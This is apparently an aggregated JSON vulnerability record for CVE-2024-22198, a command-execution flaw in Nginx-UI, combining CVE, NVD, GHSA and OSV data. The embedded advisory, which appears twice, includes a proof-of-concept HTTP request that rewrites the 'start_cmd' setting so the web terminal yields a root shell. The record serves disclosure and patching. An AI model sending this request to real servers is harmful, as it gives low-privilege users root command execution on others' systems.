{"id":"CVE-2024-22198","aliases":["EUVD-2024-0301","GHSA-8r25-68wm-jw35","GO-2024-2462"],"status":"published","title":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","description":"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.","severity":{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.04055,"percentile":0.90781,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-77"],"published":"2024-01-11T16:32:14Z","modified":"2026-11-11T02:30:44Z","exploits":[{"source":"pocgithub","id":"xiw1ll/CVE-2024-22198_Checker","title":"xiw1ll/CVE-2024-22198_Checker","date":"2024-07-24","url":"https://github.com/xiw1ll/CVE-2024-22198_Checker"}],"fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20231219184941-827e76c46e63"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"},{"vendor":"nginxui","product":"nginx_ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12","tags":["x_refsource_MISC","x_transferred","Product","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22198","tags":["advisory"]},{"url":"https://pkg.go.dev/vuln/GO-2024-2462","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8r25-68wm-jw35","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/22xxx/CVE-2024-22198.json","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-22198","title":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","description":"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T19:38:27.296Z","modified":"2024-08-01T22:35:34.877Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:34:00.254134Z"}],"euvd":[{"id":"EUVD-2024-0301","description":"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T19:38:27Z","modified":"2024-08-01T22:35:34Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-03T03:50:29.983832Z"}],"ghsa":[{"id":"GHSA-8r25-68wm-jw35","title":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","description":"### Summary\nNginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.\n\n### Details\nThe `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\n\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\n\nThe `SaveSettings` function is defined as follows:\n\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        Server settings.Server `json:\"server\"`\n        ...\n    }\n\n    ...\n\n    settings.ServerSettings = json.Server\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\n\nThe `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:\n\n```go\nfunc Pty(c *gin.Context) {\n\t...\n\n\tp, err := pty.NewPipeLine(ws)\n\n\t...\n}\n```\n\nThe [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:\n\n```go\nfunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {\n\tc := exec.Command(settings.ServerSettings.StartCmd)\n\n    ...\n```\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"start_cmd\":\"bash\"` :\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 512\nAuthorization: \u003c\u003cJWT TOKEN\u003e\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"...\",\"node_secret\":\"...\",\"http_challenge_port\":\"9180\",\"email\":\"...\",\"database\":\"foo\",\"start_cmd\":\"bash\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Open a terminal from the web interface and execute arbitrary commands as `root`:\n```\nroot@1de46642d108:/app# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","status":"published","published":"2024-01-11T16:32:14Z","modified":"2026-07-06T19:10:49Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:40:39.314643Z"}],"nvd":[{"id":"CVE-2024-22198","description":"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T20:15:45.12Z","modified":"2026-06-17T07:10:55.317Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:09:30.070039Z"}],"osv":[{"id":"CVE-2024-22198","title":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","description":"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T19:38:27.296Z","modified":"2026-11-11T10:30:36.044556513Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-11T02:50:43.46164Z"},{"id":"GHSA-8r25-68wm-jw35","title":"Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)","description":"### Summary\nNginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.\n\n### Details\nThe `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\n\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\n\nThe `SaveSettings` function is defined as follows:\n\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        Server settings.Server `json:\"server\"`\n        ...\n    }\n\n    ...\n\n    settings.ServerSettings = json.Server\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\n\nThe `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:\n\n```go\nfunc Pty(c *gin.Context) {\n\t...\n\n\tp, err := pty.NewPipeLine(ws)\n\n\t...\n}\n```\n\nThe [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:\n\n```go\nfunc NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {\n\tc := exec.Command(settings.ServerSettings.StartCmd)\n\n    ...\n```\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"start_cmd\":\"bash\"` :\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 512\nAuthorization: \u003c\u003cJWT TOKEN\u003e\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"...\",\"node_secret\":\"...\",\"http_challenge_port\":\"9180\",\"email\":\"...\",\"database\":\"foo\",\"start_cmd\":\"bash\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Open a terminal from the web interface and execute arbitrary commands as `root`:\n```\nroot@1de46642d108:/app# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","status":"published","published":"2024-01-11T16:32:14Z","modified":"2026-07-06T19:15:08.425202177Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"GO-2024-2462","title":"Arbitrary command execution in github.com/0xJacky/Nginx-UI","description":"Arbitrary command execution in github.com/0xJacky/Nginx-UI","status":"published","published":"2024-01-30T20:55:29Z","modified":"2024-05-20T16:03:47Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}
